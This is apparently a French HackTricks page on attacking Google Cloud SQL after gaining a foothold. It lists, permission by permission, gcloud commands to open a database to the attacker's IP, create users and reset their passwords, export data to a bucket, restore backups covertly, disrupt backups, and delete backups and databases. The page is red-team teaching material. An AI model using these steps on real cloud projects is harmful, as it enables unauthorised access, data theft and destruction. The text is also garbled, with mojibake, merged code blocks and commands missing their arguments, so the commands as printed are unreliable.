GCP - Cloud SQL Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Cloud SQL

Pour plus d’informations sur Cloud SQL, consultez :

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Pour se connecter aux bases de donnĂ©es, vous avez simplement besoin d’accĂ©der au port de la base de donnĂ©es et de connaĂźtre le nom d’utilisateur et le mot de passe ; il n’y a aucune exigence IAM. Ainsi, un moyen simple d’obtenir l’accĂšs, si la base de donnĂ©es possĂšde une adresse IP publique, est de mettre Ă  jour les rĂ©seaux autorisĂ©s et d’autoriser votre propre adresse IP Ă  y accĂ©der.

Autoriser votre adresse IP et se connecter à la base de données ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quiet

mysql -h <ip_db> # If mysql

With cloudsql.instances.get you can use gcloud directly

gcloud sql connect mysql –user=root –quiet

</details>

Il est aussi possible d'utiliser **`--no-backup`** pour **perturber les sauvegardes** de la base de données.

Comme ce sont les exigences, je ne suis pas complÚtement sûr de l'utilité des permissions **`cloudsql.instances.connect`** et **`cloudsql.instances.login`**. Si vous le savez, envoyez une PR!

### `cloudsql.users.list`

Obtenir une **liste de tous les utilisateurs** de la base de données :

<details>

<summary>Liste des utilisateurs de la base de données</summary>
```bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Cette permission permet de créer un nouvel utilisateur dans la base de données:

Créer un utilisateur de base de données ```bash gcloud sql users create --instance --password ```

cloudsql.users.update

Cette permission permet de mettre à jour un utilisateur dans la base de données. Par exemple, vous pourriez changer son mot de passe :

Mettre Ă  jour le mot de passe de l'utilisateur ```bash gcloud sql users set-password --instance --password ```

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Les sauvegardes peuvent contenir des anciennes informations sensibles, il est donc intéressant de les vérifier.
Restaurer une sauvegarde dans une base de données:

Restaurer la sauvegarde de la base de données ```bash gcloud sql backups restore --restore-instance ```

Pour le faire de maniĂšre plus discrĂšte, il est recommandĂ© de crĂ©er une nouvelle instance SQL et d’y rĂ©cupĂ©rer les donnĂ©es plutĂŽt que dans les bases de donnĂ©es en cours d’exĂ©cution.

cloudsql.backupRuns.delete

Cette permission permet de supprimer des sauvegardes :

Supprimer la sauvegarde ```bash gcloud sql backups delete --instance ```

cloudsql.instances.export, storage.objects.create

Exporter une base de données vers un Cloud Storage Bucket afin que vous puissiez y accéder depuis là :

Exporter la base de données vers le bucket ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```

cloudsql.instances.import, storage.objects.get

Importer une base de données (écraser) depuis un Cloud Storage Bucket :

Importer la base de données depuis le Cloud Storage Bucket ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```

cloudsql.databases.delete

Supprimer une base de donnĂ©es de l’instance de base de donnĂ©es :

Supprimer la base de données ```bash gcloud sql databases delete --instance ```

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks